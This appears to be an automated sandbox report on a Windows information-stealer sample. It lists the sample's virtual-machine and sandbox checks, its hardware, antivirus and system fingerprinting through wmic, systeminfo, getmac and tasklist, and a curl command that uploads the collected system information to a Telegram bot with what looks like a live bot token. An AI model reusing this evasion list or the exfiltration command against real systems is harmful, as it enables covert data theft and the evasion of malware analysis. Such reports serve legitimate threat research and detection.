Source: 9KEZfGRjyK.exe	Binary or memory string: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000022.00000002.1814579848.00000219841A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "tasklist" /fi "IMAGENAME eq vmtoolsd.exe"
Source: 9KEZfGRjyK.exe	Binary or memory string: api_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystem
Source: tasklist.exe, 00000026.00000002.1825589127.000001C06327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE');
Source: tasklist.exe, 00000022.00000003.1813576853.00000219841C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WMI.ExecQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE');
Source: 9KEZfGRjyK.exe	Binary or memory string: BrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: AdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vboxservice.exe\wmic.exejavapathJnyZ"
Source: tasklist.exe, 00000024.00000002.1822204485.000002B99E388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXSERVICE.EXE'
Source: 9KEZfGRjyK.exe	Binary or memory string: Georgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: georgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: getmac.exe, 0000000D.00000002.1750591202.000001733F560000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750010796.000001733F54A000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750117474.000001733F55E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWP
Source: 9KEZfGRjyK.exe	Binary or memory string: C:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq
Source: 9KEZfGRjyK.exe	Binary or memory string: /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000024.00000003.1817488080.000002B99E376000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXSERVICE.EXE'0
Source: tasklist.exe, 00000024.00000002.1820839789.000002B99E350000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "tasklist" /fi "IMAGENAME eq vboxservice.exe"
Source: tasklist.exe, 00000024.00000003.1817858101.000002B99E386000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WMI.ExecQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXSERVICE.EXE');
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "tasklist" /fi "IMAGENAME eq vboxtray.exe"155041831387140 g
Source: getmac.exe, 0000000D.00000003.1749820674.000001733F58F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000002.1750713120.000001733F597000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1749909296.000001733F594000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750010796.000001733F54A000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750117474.000001733F55E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: tasklist.exe, 00000022.00000003.1813576853.00000219841C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE'
Source: 9KEZfGRjyK.exe	Binary or memory string: harry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: vboxservice.exevboxtray.exeIMAGENAME eq
Source: tasklist.exe, 00000022.00000002.1814831162.00000219841DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE');
Source: 9KEZfGRjyK.exe	Binary or memory string: sbiedll.dlldbghelp.dllapi_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000024.00000002.1822311412.000002B99E635000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXSERVICE.EXE'>
Source: 9KEZfGRjyK.exe	Binary or memory string: brunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: getmac.exe, 0000000D.00000003.1749820674.000001733F58F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000002.1750713120.000001733F597000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1749909296.000001733F594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: 9KEZfGRjyK.exe	Binary or memory string: vtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: - vboxservice.exe32
Source: tasklist.exe, 00000026.00000002.1825465912.000001C063240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "tasklist" /fi "IMAGENAME eq vboxtray.exe"
Source: 9KEZfGRjyK.exe	Binary or memory string: rootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000026.00000002.1825589127.000001C06327C000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000026.00000003.1824734626.000001C06327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasklist/fiIMAGENAME eq vboxtray.exe
Source: 9KEZfGRjyK.exe	Binary or memory string: vmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: getmac.exe, 0000000D.00000002.1750591202.000001733F560000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750010796.000001733F54A000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750117474.000001733F55E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: tasklist.exe, 00000022.00000003.1813576853.00000219841C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasklist/fiIMAGENAME eq vmtoolsd.exe.
Source: system_info.txt.0.dr	Binary or memory string: - vboxservice.exe
Source: 9KEZfGRjyK.exe	Binary or memory string: VBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000024.00000002.1820839789.000002B99E350000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\tasklist.exe"tasklist" /fi "IMAGENAME eq vboxservice.exe"C:\Windows\system32\tasklist.exeWinsta0\Default1JS
Source: 9KEZfGRjyK.exe	Binary or memory string: Paul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000024.00000002.1820839789.000002B99E350000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "tasklist" /fi "IMAGENAME eq vboxservice.exe"uJSTW
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp, 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02D7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2460062209.0000025DD6519000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.0.dr	Binary or memory string: - vboxtray.exe
Source: getmac.exe, 0000000D.00000002.1750591202.000001733F560000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750010796.000001733F54A000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750117474.000001733F55E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9KEZfGRjyK.exe	Binary or memory string: dekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000022.00000002.1814467976.0000021984195000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE'PROS
Source: tasklist.exe, 00000024.00000002.1822204485.000002B99E388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vboxservice.exe
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vmtoolsd.exdic.exeok
Source: 9KEZfGRjyK.exe	Binary or memory string: XENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: vmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq
Source: 9KEZfGRjyK.exe	Binary or memory string: dbghelp.dllapi_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcom
Source: tasklist.exe, 00000026.00000002.1825589127.000001C06327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE'##
Source: tasklist.exe, 00000026.00000002.1825589127.000001C06327C000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000026.00000003.1824734626.000001C06327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vboxtray.exe
Source: tasklist.exe, 00000022.00000002.1814579848.00000219841A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\tasklist.exe"tasklist" /fi "IMAGENAME eq vmtoolsd.exe"C:\Windows\system32\tasklist.exeWinsta0\Default
Source: 9KEZfGRjyK.exe	Binary or memory string: sandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000026.00000002.1825465912.000001C063240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\tasklist.exe"tasklist" /fi "IMAGENAME eq vboxtray.exe"C:\Windows\system32\tasklist.exeWinsta0\Default
Source: 9KEZfGRjyK.exe	Binary or memory string: abbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: system_info.txt.0.dr	Binary or memory string: - vmtoolsd.exe
Source: 9KEZfGRjyK.exe	Binary or memory string: AlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: sbiedll.dlldbghelp.dllapi_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARA
Source: 9KEZfGRjyK.exe	Binary or memory string: VMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000026.00000003.1824606109.000001C063266000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000026.00000002.1825555364.000001C06326C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: , ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE'0
Source: 9KEZfGRjyK.exe	Binary or memory string: vboxtray.exeIMAGENAME eq
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vmtoolsd.exd
Source: tasklist.exe, 00000022.00000003.1813576853.00000219841C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vmtoolsd.exe
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02D7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2460062209.0000025DD6519000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.0.dr	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: 9KEZfGRjyK.exe	Binary or memory string: wpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: curl.exe, 0000002D.00000003.2465008395.0000025DD64D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 9KEZfGRjyK.exe	Binary or memory string: fredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000024.00000002.1822311412.000002B99E630000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasklist/fiIMAGENAME eq vboxservice.exel\Te
Source: tasklist.exe, 00000024.00000002.1822204485.000002B99E388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasklist/fiIMAGENAME eq vboxservice.exe?y
Source: 9KEZfGRjyK.exe	Binary or memory string: FredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: getmac.exe, 0000000D.00000003.1749820674.000001733F58F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000002.1750713120.000001733F597000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1749909296.000001733F594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: 9KEZfGRjyK.exe	Binary or memory string: HYPER-VPARALLELSKVMcomputersystemgetmodel
Source: getmac.exe, 0000000D.00000003.1750010796.000001733F54A000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750117474.000001733F55E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-Vq
Source: getmac.exe, 0000000D.00000002.1750591202.000001733F560000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750010796.000001733F54A000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000000D.00000003.1750117474.000001733F55E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ssubkeyname"system\currentcontrolset\services\hyper-v\linkage"
Source: tasklist.exe, 00000022.00000002.1814467976.0000021984190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasklist/fiIMAGENAME eq vmtoolsd.exea\Local\Tew
Source: 9KEZfGRjyK.exe	Binary or memory string: QEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMAGENAME eq vboxservice.exe\
Source: tasklist.exe, 00000026.00000003.1824734626.000001C06327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WMI.ExecQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE');

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B9049174 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7B9049174

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

0_2_00007FF7B903AA60

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B902E030 HeapAlloc,GetProcessHeap,HeapAlloc,

0_2_00007FF7B902E030

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B904C07C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7B904C07C
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9049174 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7B9049174
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9049318 SetUnhandledExceptionFilter,	0_2_00007FF7B9049318

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" bios get serialnumber	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" baseboard get serialnumber	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" cpu get name	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" computersystem get totalphysicalmemory	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" diskdrive get model,size	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\getmac.exe "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\systeminfo.exe "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m sbiedll.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m api_log.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m dir_watch.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m pstorec.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m vmcheck.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m wpespy.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vboxservice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vboxtray.exe"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" csproduct get identifyingnumber	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\curl.exe "curl" -k -F chat_id=-4193710271 -F document=@system_info.txt;filename=528110-4174-1.log https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument	Jump to behavior

Source: C:\Windows\System32\curl.exe

Queries volume information: C:\Users\user\Desktop\system_info.txt VolumeInformation

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B902FDF0 ProcessPrng,GetCurrentProcessId,ProcessPrng,CreateNamedPipeW,GetLastError,CloseHandle,ProcessPrng,

0_2_00007FF7B902FDF0

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B902AB10 GetSystemTimePreciseAsFileTime,

0_2_00007FF7B902AB10

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B901DA70 GetTimeZoneInformationForYear,

0_2_00007FF7B901DA70

Source: C:\Windows\System32\curl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	341 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	461 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	135 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9KEZfGRjyK.exe	5%	ReversingLabs
9KEZfGRjyK.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org/botc	9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4o	9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocumentC:	curl.exe, 0000002D.00000002.2465503271.0000025DD64C0000.00000004.00000020.00020000.00000000.sdmp	false	high
